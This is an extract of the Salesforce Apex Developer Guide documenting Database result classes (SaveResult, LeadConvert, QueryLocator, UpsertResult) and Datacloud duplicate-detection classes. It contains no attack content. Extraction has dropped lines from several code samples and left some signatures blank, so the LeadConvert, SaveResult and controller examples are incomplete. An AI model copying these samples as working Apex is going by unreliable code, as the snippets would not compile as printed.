IN THIS SECTION:
DuplicateError Methods
SEE ALSO:
SaveResult Class
DuplicateResult Class
Error Class
DuplicateError Methods
The following are methods for DuplicateError.
IN THIS SECTION:
getDuplicateResult()
Returns the details of a duplicate rule and duplicate records found by the duplicate rule.
getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
Returns the error message text.
getStatusCode()
Returns a code that characterizes the error.
getDuplicateResult()
Returns the details of a duplicate rule and duplicate records found by the duplicate rule.
Signature
public Datacloud.DuplicateResult getDuplicateResult()
Return Value
Type: Datacloud.DuplicateResult
1816
Example
This example shows the code used to get the possible duplicates and related match information after saving a new contact. This code
is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class on page
1844 to check out the entire sample applicaton.
duplicateError.getDuplicateResult();
getFields()
Signature
public List<String> getFields()
Return Value
Type: List<String>
getMessage()
Signature
public String getMessage()
Return Value
Type: String
getStatusCode()
Signature
public StatusCode getStatusCode()
Return Value
Type: StatusCode
EmptyRecycleBinResult Class
The result of the emptyRecycleBin DML operation returned by the Database.emptyRecycleBin method.
Namespace
Database
1817
Usage
A list of Database.EmptyRecycleBinResult objects is returned by the Database.emptyRecycleBin method. Each
object in the list corresponds to either a record ID or an sObject passed as the parameter in the Database.emptyRecycleBin
method. The first index in the EmptyRecycleBinResult list matches the first record or sObject specified in the list, the second with the
second, and so on.
EmptyRecycleBinResult Methods
The following are methods for EmptyRecycleBinResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors
occurred, the returned list is empty.
getId()
Returns the ID of the record or sObject you attempted to delete.
isSuccess()
Returns true if the record or sObject was successfully removed from the Recycle Bin; otherwise false.
getErrors()
If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors occurred,
the returned list is empty.
Signature
public Database.Errors[] getErrors()
Return Value
Type: Database.Errors []
getId()
Returns the ID of the record or sObject you attempted to delete.
Signature
public ID getId()
Return Value
Type: ID
isSuccess()
Returns true if the record or sObject was successfully removed from the Recycle Bin; otherwise false.
1818
Signature
Return Value
Type: Boolean
Error Class
Represents information about an error that occurred during a DML operation when using a Database method.
Namespace
Database
Usage
Error class is part of SaveResult, which is generated when a user attempts to save a Salesforce record.
SEE ALSO:
SaveResult Class
Error Methods
The following are methods for Error. All are instance methods.
IN THIS SECTION:
getFields()
getMessage()
getStatusCode()
getFields()
Signature
public String[] getFields()
Return Value
Type: String[]
1819
getMessage()
Signature
Return Value
Type: String
getStatusCode()
Signature
public StatusCode getStatusCode()
Return Value
Type: StatusCode
Usage
The full list of status codes is available in the WSDL file for your organization (see Downloading Salesforce WSDLs and Client Authentication
Certificates in the Salesforce online help.)
GetDeletedResult Class
Contains the deleted records retrieved for a specific sObject type and time window.
Namespace
Database
Usage
The Database.getDeleted method returns the deleted record information as a Database.GetDeletedResult object.
GetDeletedResult Methods
The following are methods for GetDeletedResult. All are instance methods.
IN THIS SECTION:
getDeletedRecords()
Returns a list of deleted records for the time window specified in the Database.getDeleted method call.
1820
getEarliestDateAvailable()
Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in
Database.getDeleted.
getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getDeleted call.
getDeletedRecords()
Returns a list of deleted records for the time window specified in the Database.getDeleted method call.
Signature
public List<Database.DeletedRecord> getDeletedRecords()
Return Value
Type: List<Database.DeletedRecord>
getEarliestDateAvailable()
Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in
Database.getDeleted.
Signature
public Date getEarliestDateAvailable()
Return Value
Type: Date
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getDeleted call.
Signature
public Date getLatestDateCovered()
Return Value
Type: Date
Usage
If there is a value, it is less than or equal to the endDate argument of Database.getDeleted. A value here indicates that, for
safety, you should use this value for the startDate of your next call to capture the changes that started after this date but didn’t
complete before endDate and were, therefore, not returned in the previous call.
1821
GetUpdatedResult Class
Contains the result for the Database.getUpdated method call.
Namespace
Database
Usage
Use the methods in this class to obtain detailed information about the updated records returned by Database.getUpdated for
a specific time window.
GetUpdatedResult Methods
The following are methods for GetUpdatedResult. All are instance methods.
IN THIS SECTION:
getIds()
Returns the IDs of records updated within the time window specified in the Database.getUpdated method.
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getUpdated call.
getIds()
Returns the IDs of records updated within the time window specified in the Database.getUpdated method.
Signature
public List<Id> getIds()
Return Value
Type: List<ID>
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getUpdated call.
Signature
public Date getLatestDateCovered()
Return Value
Type: Date
1822
LeadConvert Class
Contains information used for lead conversion.
Namespace
Database
Usage
The convertLead Database method converts a lead into an account and contact, as well as (optionally) an opportunity. The
convertLead takes an instance of the Database.LeadConvert class as a parameter. Create an instance of this class and set
the information required for conversion, such as setting the lead, and destination account and contact.
Note: The Database.convertLead() method can take one LeadConvert object or a list of LeadConvert objects.
Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object, sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;

lc.setLeadId(myLead.id);
LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true

LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);
Database.LeadConvertResult lcr = Database.convertLead(lc);

System.assert(lcr.isSuccess());
IN THIS SECTION:
LeadConvert Constructors
LeadConvert Methods
LeadConvert Constructors
The following are constructors for LeadConvert.
IN THIS SECTION:
LeadConvert()
Creates a new instance of the Database.LeadConvert class.
1823
LeadConvert()
Creates a new instance of the Database.LeadConvert class.
Signature
public LeadConvert()
LeadConvert Methods
The following are methods for LeadConvert. All are instance methods.
IN THIS SECTION:
getAccountId()
Gets the ID of the account into which the lead will be merged.
getContactId()
Gets the ID of the contact into which the lead will be merged.
getConvertedStatus()
Gets the lead status value for a converted lead.
getLeadID()
Gets the ID of the lead to convert.
getOpportunityName()
Gets the name of the opportunity to create.
getOwnerID()
Gets the ID of the person to own any newly created account, contact, and opportunity.
isDoNotCreateOpportunity()
Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).
isOverWriteLeadSource()
Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource
field in the source Lead object (true), or not (false, the default).
isSendNotificationEmail()
Indicates whether a notification email is sent to the owner specified by setOwnerId (true) or not (false, the default).
setAccountId(accountId)
Sets the ID of the account into which the lead is merged. This value is required only when updating an existing account, including
person accounts.
setContactId(contactId)
Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with
setAccountId, and setAccountId must be specified). This value is required only when updating an existing contact.
setConvertedStatus(status)
Sets the lead status value for a converted lead. This field is required.
setDoNotCreateOpportunity(createOpportunity)
Specifies whether to create an opportunity during lead conversion. The default value is false: opportunities are created by default.
Set this flag to true only if you do not want to create an opportunity from the lead.
1824
setLeadId(leadId)
Sets the ID of the lead to convert. This field is required.
setOpportunityName(opportunityName)
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.
setOverwriteLeadSource(overwriteLeadSource)
Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field
in the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify
setContactId for the target contact.
setOwnerId(ownerId)
Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this
value, the owner of the new object will be the owner of the lead.
setSendNotificationEmail(sendEmail)
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not
send email.
getAccountId()
Gets the ID of the account into which the lead will be merged.
Signature
public ID getAccountId()
Return Value
Type: ID
getContactId()
Gets the ID of the contact into which the lead will be merged.
Signature
public ID getContactId()
Return Value
Type: ID
getConvertedStatus()
Gets the lead status value for a converted lead.
Signature
public String getConvertedStatus()
1825
Return Value
Type: String
getLeadID()
Gets the ID of the lead to convert.
Signature
public ID getLeadID()
Return Value
Type: ID
getOpportunityName()
Gets the name of the opportunity to create.
Signature
public String getOpportunityName()
Return Value
Type: String
getOwnerID()
Gets the ID of the person to own any newly created account, contact, and opportunity.
Signature
public ID getOwnerID()
Return Value
Type: ID
isDoNotCreateOpportunity()
Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).
Signature
public Boolean isDoNotCreateOpportunity()
Return Value
Type: Boolean
1826
isOverWriteLeadSource()
Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource field
in the source Lead object (true), or not (false, the default).
Signature
public Boolean isOverWriteLeadSource()
Return Value
Type: Boolean
isSendNotificationEmail()
Indicates whether a notification email is sent to the owner specified by setOwnerId (true) or not (false, the default).
Signature
public Boolean isSendNotificationEmail()
Return Value
Type: Boolean
setAccountId(accountId)
Sets the ID of the account into which the lead is merged. This value is required only when updating an existing account, including person
accounts.
Signature
public Void setAccountId(ID accountId)
Parameters
accountId
Type: ID
Return Value
Type: Void
setContactId(contactId)
Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with
setAccountId, and setAccountId must be specified). This value is required only when updating an existing contact.
Signature
public Void setContactId(ID contactId)
1827
Parameters
contactId
Type: ID
Return Value
Type: Void
Usage
If setContactId is specified, then the application creates a new contact that is implicitly associated with the account. The contact
name and other existing data are not overwritten (unless setOverwriteLeadSource is set to true, in which case only the
LeadSource field is overwritten).
Important: If you are converting a lead into a person account, do not specify setContactId or an error will result. Specify
only setAccountId of the person account.
setConvertedStatus(status)
Sets the lead status value for a converted lead. This field is required.
Signature
public Void setConvertedStatus(String status)
Parameters
status
Type: String
Return Value
Type: Void
setDoNotCreateOpportunity(createOpportunity)
Specifies whether to create an opportunity during lead conversion. The default value is false: opportunities are created by default.
Set this flag to true only if you do not want to create an opportunity from the lead.
Signature
public Void setDoNotCreateOpportunity(Boolean createOpportunity)
Parameters
createOpportunity
Type: Boolean
Return Value
Type: Void
1828
setLeadId(leadId)
Sets the ID of the lead to convert. This field is required.
Signature
public Void setLeadId(ID leadId)
Parameters
leadId
Type: ID
Return Value
Type: Void
setOpportunityName(opportunityName)
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.
Signature
public Void setOpportunityName(String opportunityName)
Parameters
opportunityName
Type: String
Return Value
Type: Void
Usage
The maximum length of this field is 80 characters.
If setDoNotCreateOpportunity is true, no Opportunity is created and this field must be left blank; otherwise, an error is
returned.
setOverwriteLeadSource(overwriteLeadSource)
Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field in
the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify
setContactId for the target contact.
Signature
public Void setOverwriteLeadSource(Boolean overwriteLeadSource)
1829
Parameters
overwriteLeadSource
Type: Boolean
Return Value
Type: Void
setOwnerId(ownerId)
Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this value,
the owner of the new object will be the owner of the lead.
Signature
public Void setOwnerId(ID ownerId)
Parameters
ownerId
Type: ID
Return Value
Type: Void
Usage
This method is not applicable when merging with existing objects—if setOwnerId is specified, the ownerId field is not overwritten
in an existing account or contact.
setSendNotificationEmail(sendEmail)
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not
send email.
Signature
public Void setSendNotificationEmail(Boolean sendEmail)
Parameters
sendEmail
Type: Boolean
Return Value
Type: Void
1830
LeadConvertResult Class
The result of a lead conversion.
Namespace
Database
Usage
An array of LeadConvertResult objects is returned with the convertLead Database method. Each element in the LeadConvertResult
array corresponds to the sObject array passed as the SObject[] parameter in the convertLead Database method, that is, the
first element in the LeadConvertResult array matches the first element passed in the SObject array, the second element corresponds to
the second element, and so on. If only one sObject is passed in, the LeadConvertResult array contains a single element.
LeadConvertResult Methods
The following are methods for LeadConvertResult. All are instance methods.
IN THIS SECTION:
getAccountId()
The ID of the new account (if a new account was specified) or the ID of the account specified when convertLead was invoked.
getContactId()
The ID of the new contact (if a new contact was specified) or the ID of the contact specified when convertLead was invoked.
getErrors()
If an error occurred, an array of one or more database error objects providing the error code and description.
getLeadId()
The ID of the converted lead.
getOpportunityId()
The ID of the new opportunity, if one was created when convertLead was invoked.
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise
getAccountId()
The ID of the new account (if a new account was specified) or the ID of the account specified when convertLead was invoked.
Signature
public ID getAccountId()
Return Value
Type: ID
1831
getContactId()
The ID of the new contact (if a new contact was specified) or the ID of the contact specified when convertLead was invoked.
Signature
public ID getContactId()
Return Value
Type: ID
getErrors()
If an error occurred, an array of one or more database error objects providing the error code and description.
Signature
Return Value
getLeadId()
The ID of the converted lead.
Signature
public ID getLeadId()
Return Value
Type: ID
getOpportunityId()
The ID of the new opportunity, if one was created when convertLead was invoked.
Signature
public ID getOpportunityId()
Return Value
Type: ID
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise
1832
Signature
Return Value
Type: Boolean
MergeResult Class
Contains the result of a merge Database method operation.
Namespace
Database
Usage
The Database.merge method returns a Database.MergeResult object for each merged record.
MergeResult Methods
The following are methods for MergeResult. All are instance methods.
IN THIS SECTION:
getErrors()
Returns a list of Database.Error objects representing the errors encountered, if any, during a merge operation using the
Database.merge method. If no error occurred, returns null.
getId()
Returns the ID of the master record into which other records were merged.
getMergedRecordIds()
Returns the IDs of the records merged into the master record.
getUpdatedRelatedIds()
Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge
call.
isSuccess()
Indicates whether the merge was successful (true) or not (false).
getErrors()
Returns a list of Database.Error objects representing the errors encountered, if any, during a merge operation using the
Database.merge method. If no error occurred, returns null.
Signature
1833
Return Value
getId()
Returns the ID of the master record into which other records were merged.
Signature
public Id getId()
Return Value
Type: ID
getMergedRecordIds()
Returns the IDs of the records merged into the master record.
Signature
public List<String> getMergedRecordIds()
Return Value
Type: List<String>
getUpdatedRelatedIds()
Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge call.
Signature
public List<String> getUpdatedRelatedIds()
Return Value
Type: List<String>
isSuccess()
Indicates whether the merge was successful (true) or not (false).
Signature
Return Value
Type: Boolean
1834
QueryLocator Class
Represents the record set returned by Database.getQueryLocator and used with Batch Apex.
Namespace
Database
QueryLocator Methods
The following are methods for QueryLocator. All are instance methods.
IN THIS SECTION:
getQuery()
Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method.
iterator()
Returns a new instance of a query locator iterator.
getQuery()
Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method.
Signature
public String getQuery()
Return Value
Type: String
Usage
You cannot use the FOR UPDATE keywords with a getQueryLocator query to lock a set of records. The start method automatically
locks the set of records in the batch.
Example
System.assertEquals(QLReturnedFromStart.
getQuery(),
Database.getQueryLocator([SELECT Id
FROM Account]).getQuery() );
iterator()
Returns a new instance of a query locator iterator.
Signature
public Database.QueryLocatorIterator iterator()
1835
Return Value
Type: Database.QueryLocatorIterator
Usage
Warning: To iterate over a query locator, save the iterator instance that this method returns in a variable and then use this variable
to iterate over the collection. Calling iterator every time you want to perform an iteration can result in incorrect behavior
because each call returns a new iterator instance.
For an example, see QueryLocatorIterator Class.
QueryLocatorIterator Class
Represents an iterator over a query locator record set.
Namespace
Database
Example
This sample shows how to obtain an iterator for a query locator, which contains five accounts. This sample calls hasNext and next
to get each record in the collection.
// Get a query locator
Database.QueryLocator q = Database.getQueryLocator(
[SELECT Name FROM Account LIMIT 5]);
// Get an iterator
Database.QueryLocatorIterator it = q.iterator();
// Iterate over the records

while (it.hasNext())
{
Account a = (Account)it.next();
System.debug(a);
}
QueryLocatorIterator Methods
The following are methods for QueryLocatorIterator. All are instance methods.
IN THIS SECTION:
hasNext()
Returns true if there are one or more records remaining in the collection; otherwise, returns false.
next()
Advances the iterator to the next sObject record and returns the sObject.
hasNext()
Returns true if there are one or more records remaining in the collection; otherwise, returns false.
1836
Signature
public Boolean hasNext()
Return Value
Type: Boolean
next()
Advances the iterator to the next sObject record and returns the sObject.
Signature
public sObject next()
Return Value
Type: sObject
Usage
Because the return value is the generic sObject type, you must cast it if using a more specific type. For example:
Account a = (Account)myIterator.next();
Example
Account a = (Account)myIterator.next();
SaveResult Class
The result of an insert or update DML operation returned by a Database method.
Namespace
Database
Usage
An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult array
corresponds to the sObject array passed as the sObject[] parameter in the Database method, that is, the first element in the
SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and
so on. If only one sObject is passed in, the SaveResult array contains a single element.
A SaveResult object is generated when a new or existing Salesforce record is saved.
Example
The following example shows how to obtain and iterate through the returned Database.SaveResult objects. It inserts two
accounts using Database.insert with a false second parameter to allow partial processing of records on failure. One of the
1837
accounts is missing the Name required field, which causes a failure. Next, it iterates through the results to determine whether the
operation was successful or not for each record. It writes the ID of every record that was processed successfully to the debug log, or error
messages and fields of the failed records. This example generates one successful operation and one failure.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);

System.debug('Successfully inserted account. Account ID: ' + sr.getId());
}
else {
}
}
}
SEE ALSO:
Error Class
SaveResult Methods
The following are methods for SaveResult. All are instance methods.
IN THIS SECTION:
getErrors()
getId()
Returns the ID of the sObject you were trying to insert or update.
isSuccess()
Returns a Boolean that is set to true if the DML operation was successful for this object, false otherwise.
getErrors()
1838
Signature
Return Value
getId()
Returns the ID of the sObject you were trying to insert or update.
Signature
public ID getId()
Return Value
Type: ID
Usage
If this field contains a value, the object was successfully inserted or updated. If this field is empty, the operation was not successful for
that object.
isSuccess()
Returns a Boolean that is set to true if the DML operation was successful for this object, false otherwise.
Signature
Return Value
Type: Boolean
Example
This example shows the code used to process duplicate records, which are detected when there is an unsuccessful save due to an error.
This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class
on page 1844 to check out the entire sample applicaton.
if (!saveResult.isSuccess()) { ... }
UndeleteResult Class
The result of an undelete DML operation returned by the Database.undelete method.
Namespace
Database
1839
Usage
An array of Database.UndeleteResult objects is returned with the undelete database method. Each element in the UndeleteResult
array corresponds to the sObject array passed as the sObject[] parameter in the undelete Database method; that is, the first
element in the UndeleteResult array matches the first element passed in the sObject array, the second element corresponds with the
second element, and so on. If only one sObject is passed in, the UndeleteResults array contains a single element.
UndeleteResult Methods
The following are methods for UndeleteResult. All are instance methods.
IN THIS SECTION:
getErrors()
occurred, returns null.
getId()
Returns the ID of the sObject you were trying to undelete.
isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.
getErrors()
returns null.
Signature
Return Value
getId()
Returns the ID of the sObject you were trying to undelete.
Signature
public ID getId()
Return Value
Type: ID
Usage
If this field contains a value, the object was successfully undeleted. If this field is empty, the operation was not successful for that object.
1840
isSuccess()
Signature
Return Value
Type: Boolean
UpsertResult Class
The result of an upsert DML operation returned by the Database.upsert method.
Namespace
Database
Usage
An array of Database.UpsertResult objects is returned with the upsert database method. Each element in the UpsertResult array
corresponds to the sObject array passed as the sObject[] parameter in the upsert Database method; that is, the first element
in the UpsertResult array matches the first element passed in the sObject array, the second element corresponds with the second element,
and so on. If only one sObject is passed in, the UpsertResults array contains a single element.
UpsertResult Methods
The following are methods for UpsertResult. All are instance methods.
IN THIS SECTION:
getErrors()
getId()
Returns the ID of the sObject you were trying to update or insert.
isCreated()
A Boolean value that is set to true if the record was created, false if the record was updated.
isSuccess()
getErrors()
1841
Signature
Return Value
Type: Database.Error []
getId()
Returns the ID of the sObject you were trying to update or insert.
Signature
public ID getId()
Return Value
Type: ID
Usage
If this field contains a value, the object was successfully updated or inserted. If this field is empty, the operation was not successful for
that object.
isCreated()
A Boolean value that is set to true if the record was created, false if the record was updated.
Signature
public Boolean isCreated()
Return Value
Type: Boolean
isSuccess()
Signature
Return Value
Type: Boolean
1842
Apex Developer Guide Datacloud Namespace
Datacloud Namespace
The Datacloud namespace provides classes and methods for retrieving information about duplicate rules. Duplicate rules let you
control whether and when users can save duplicate records within Salesforce.
The following are the classes in the Datacloud namespace.
IN THIS SECTION:
AdditionalInformationMap Class
Represents other information, if any, about matched records.
Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.
FieldDiff Class
Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.
FindDuplicates Class
Performs rule-based searches for duplicate records. The input is an array of sObjects. Each sObject represents a record you want to
find duplicates of. The output identifies the detected duplicates for each input sObject based on active duplicate rules for the given
object.
FindDuplicatesByIds Class
Performs rule-based searches for duplicate records. The input is an array of IDs. Each ID specifies records to search for duplicates
among. The duplicates are detected based on the active duplicate rules applicable to the object type corresponding to the input
IDs.
FindDuplicatesResult Class
Output for rule-based searches for duplicate records. FindDuplicatesResult contains results of detecting duplicates using
instances of FindDuplicates or FindDuplicatesByIds classes.
MatchRecord Class
Represents a duplicate record detected by a matching rule.
MatchResult Class
Represents the duplicate results for a matching rule.
AdditionalInformationMap Class
Represents other information, if any, about matched records.
Namespace
Datacloud
IN THIS SECTION:
AdditionalInformationMap Methods
AdditionalInformationMap Methods
The following are methods for AdditionalInformationMap.
1843
IN THIS SECTION:
getName()
Returns the element name.
getValue()
Returns the value of the element.
getName()
Signature
Return Value
Type: String
getValue()
Returns the value of the element.
Signature
public String getValue()
Return Value
Type: String
Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.
Namespace
Datacloud
Usage
The DuplicateResult class and its methods are available to organizations that use duplicate rules.
DuplicateResult is contained within DuplicateError, which is part of SaveResult. SaveResult is generated when
a user attempts to save a record in Salesforce.
Example
This example shows a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate
records.
1844
The sample application consists of a Visualforce page and an Apex controller. The Visualforce page is listed first so that you can see how
the page makes use of the Apex controller. Save the Apex class first before saving the Visualforce page.
<apex:page controller="ContactDedupeController">
<apex:form >
<apex:pageBlock title="Duplicate Records" rendered="{!hasDuplicateResult}">
<apex:pageMessages />
<apex:pageBlockTable value="{!duplicateRecords}" var="item">
<apex:column >
<apex:facet name="header">Name</apex:facet>
<apex:outputLink value="/{!item['Id']}">{!item['Name']}</apex:outputLink>
</apex:column>
<apex:column >
<apex:facet name="header">Owner</apex:facet>
<apex:outputField value="{!item['OwnerId']}"/>
</apex:column>
<apex:column >
<apex:facet name="header">Last Modified Date</apex:facet>
<apex:outputField value="{!item['LastModifiedDate']}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
<apex:pageBlock title="Contact" mode="edit">

<apex:pageBlockButtons >
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockSection >
<apex:inputField value="{!Contact.FirstName}"/>
<apex:inputField value="{!Contact.LastName}"/>
<apex:inputField value="{!Contact.Email}"/>
<apex:inputField value="{!Contact.Phone}"/>
<apex:inputField value="{!Contact.AccountId}"/>
</apex:pageBlock>
</apex:form>
</apex:page>
This sample is the Apex controller for the page. This controller contains the action method for the Save button. The save method
inserts the new contact. If errors are returned, this method iterates through each error, checks if it’s a duplicate error, adds the error
message to the page, and returns information about the duplicate records to be displayed on the page.
public class ContactDedupeController {
// Initialize a variable to hold the contact record you're processing

private final Contact contact;
// Initialize a list to hold any duplicate records

private List<sObject> duplicateRecords;
// Define variable that’s true if there are duplicate records

public boolean hasDuplicateResult{get;set;}
1845
// Define the constructor

public ContactDedupeController() {
// Define the values for the contact you’re processing based on its ID
Id id = ApexPages.currentPage().getParameters().get('id');
this.contact = (id == null) ? new Contact() :
[SELECT Id, FirstName, LastName, Email, Phone, AccountId
FROM Contact WHERE Id = :id];
// Initialize empty list of potential duplicate records

this.duplicateRecords = new List<sObject>();
this.hasDuplicateResult = false;
}
// Return contact and its values to the Visualforce page for display
public Contact getContact() {
return this.contact;
}
// Return duplicate records to the Visualforce page for display

public List<sObject> getDuplicateRecords() {
return this.duplicateRecords;
}
// Process the saved record and handle any duplicates

// Optionally, set DML options here, use “DML” instead of “false”

// in the insert()
// Database.DMLOptions dml = new Database.DMLOptions();
// dml.DuplicateRuleHeader.allowSave = true;
// dml.DuplicateRuleHeader.runAsCurrentUser = true;
Database.SaveResult saveResult = Database.insert(contact, false);
if (!saveResult.isSuccess()) {
for (Database.Error error : saveResult.getErrors()) {
// If there are duplicates, an error occurs
// Process only duplicates and not other errors
// (e.g., validation errors)
if (error instanceof Database.DuplicateError) {
// Handle the duplicate error by first casting it as a
// DuplicateError class
// This lets you use methods of that class
// (e.g., getDuplicateResult())
Database.DuplicateError duplicateError =
(Database.DuplicateError)error;
duplicateError.getDuplicateResult();
// Display duplicate error message as defined in the duplicate rule

ApexPages.Message errorMessage = new ApexPages.Message(
ApexPages.Severity.ERROR, 'Duplicate Error: ' +
duplicateResult.getErrorMessage());
ApexPages.addMessage(errorMessage);
1846
// Get duplicate records

this.duplicateRecords = new List<sObject>();
// Return only match results of matching rules that

// find duplicate records
Datacloud.MatchResult[] matchResults =
duplicateResult.getMatchResults();
// Just grab first match result (which contains the

// duplicate record found and other match info)
Datacloud.MatchResult matchResult = matchResults[0];
Datacloud.MatchRecord[] matchRecords = matchResult.getMatchRecords();
// Add matched record to the duplicate records variable

for (Datacloud.MatchRecord matchRecord : matchRecords) {
System.debug('MatchRecord: ' + matchRecord.getRecord());
this.duplicateRecords.add(matchRecord.getRecord());
}
this.hasDuplicateResult = !this.duplicateRecords.isEmpty();
}
}
//If there’s a duplicate record, stay on the page

return null;
}
// After save, navigate to the view page:

return (new ApexPages.StandardController(contact)).view();
}
IN THIS SECTION:
DuplicateResult Methods
SEE ALSO:
SaveResult Class
DuplicateResult Methods
The following are methods for DuplicateResult.
IN THIS SECTION:
getDuplicateRule()
Returns the developer name of the executed duplicate rule that returned duplicate records.
1847
getErrorMessage()
Returns the error message configured by the administrator to warn users they may be creating duplicate records. This message is
associated with a duplicate rule.
getMatchResults()
Returns the duplicate records and match information.
isAllowSave()
Indicates whether the duplicate rule will allow a record that’s identified as a duplicate to be saved. Set to true if duplicate rule
should allow save; otherwise, false.
getDuplicateRule()
Returns the developer name of the executed duplicate rule that returned duplicate records.
Signature
public String getDuplicateRule()
Return Value
Type: String
getErrorMessage()
Returns the error message configured by the administrator to warn users they may be creating duplicate records. This message is
associated with a duplicate rule.
Signature
public String getErrorMessage()
Return Value
Type: String
Example
This example shows the code used to display the error message when duplicates are found while saving a new contact. This code is part
of a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate records. Review
DuplicateResult Class on page 1844 to check out the entire sample applicaton.
ApexPages.Message errorMessage = new ApexPages.Message(
ApexPages.Severity.ERROR, 'Duplicate Error: ' +
duplicateResult.getErrorMessage());
ApexPages.addMessage(errorMessage);
getMatchResults()
Returns the duplicate records and match information.
1848
Signature
public List<Datacloud.MatchResult> getMatchResults()
Return Value
Type: List<Datacloud.MatchResult>
Example
This example shows the code used to return duplicate record and match information and assign it to the matchResults variable.
This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class
on page 1844 to check out the entire sample applicaton.
Datacloud.MatchResult[] matchResults =
duplicateResult.getMatchResults();
isAllowSave()
Indicates whether the duplicate rule will allow a record that’s identified as a duplicate to be saved. Set to true if duplicate rule should
allow save; otherwise, false.
Signature
public Boolean isAllowSave()
Return Value
Type: Boolean
FieldDiff Class
Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.
Namespace
Datacloud
IN THIS SECTION:
FieldDiff Methods
FieldDiff Methods
The following are methods for FieldDiff.
IN THIS SECTION:
getDifference()
Returns how the field values compare for the duplicate and its matching record.
1849
getName()
Returns the name of a field on a matching rule that detected duplicates.
getDifference()
Returns how the field values compare for the duplicate and its matching record.
Signature
public String getDifference()
Return Value
Type: String
Possible values include:
• SAME: Indicates the field values match exactly.
• DIFFERENT: Indicates that the field values do not match.
• NULL: Indicates that the field values are a match because both values are blank.
getName()
Returns the name of a field on a matching rule that detected duplicates.
Signature
Return Value
Type: String
FindDuplicates Class
Performs rule-based searches for duplicate records. The input is an array of sObjects. Each sObject represents a record you want to find
duplicates of. The output identifies the detected duplicates for each input sObject based on active duplicate rules for the given object.
Namespace
Datacloud
IN THIS SECTION:
FindDuplicates Methods
FindDuplicates Methods
The following are methods for FindDuplicates.
1850
IN THIS SECTION:
findDuplicates(sObjects)
Identifies duplicates for sObjects provided and returns a list of FindDuplicatesResult objects.
findDuplicates(sObjects)
Identifies duplicates for sObjects provided and returns a list of FindDuplicatesResult objects.
Usage
Use FindDuplicates to apply active duplicate rules associated with an object to records represented by input sObjects.
FindDuplicates uses the duplicate rules for the object that has the same type as the input sObjects.
Input
• All sObjects in the input array must be of the same object type, and that type must correspond to an object type that supports
duplicate rules.
• The input array is limited to 50 elements. If you exceed this limit, an exception is thrown with the following message:
Configuration error: The number of records to check is greater than the permitted
batch size.
Output
• The output of FindDuplicates is an array of objects with the same number of elements as the input array, and in the same
order. The output objects encapsulate record IDs for duplicate records. The output objects also contain values from the duplicate
records.
• Each element contains an array of DuplicateResult objects. If FindDuplicates doesn’t find any duplicates, the
duplicateRule field in DuplicateResult contains the name of the duplicate rule that FindDuplicates applied,
but the matchResults array is empty.
Example
Account acct = new Account();
acct.Name = 'Acme';
acct.BillingStreet = '123 Fake St';
acct.BillingCity = 'Springfield';
acct.BillingState = 'VT';
acct.BillingCountry = 'US';

acctList.add(acct);
if (Datacloud.FindDuplicates.findDuplicates(acctList).size() == 0) {
// If the new account doesn't have duplicates, insert it.
insert(acct);
}
Signature
public static List<Datacloud.FindDuplicatesResult> findDuplicates(List<SObject> sObjects)
1851
Parameters
sObjects
Type: List<SObject>
An array of sObjects for which you want to find duplicates.
Return Value
Type: List<FindDuplicatesResult>
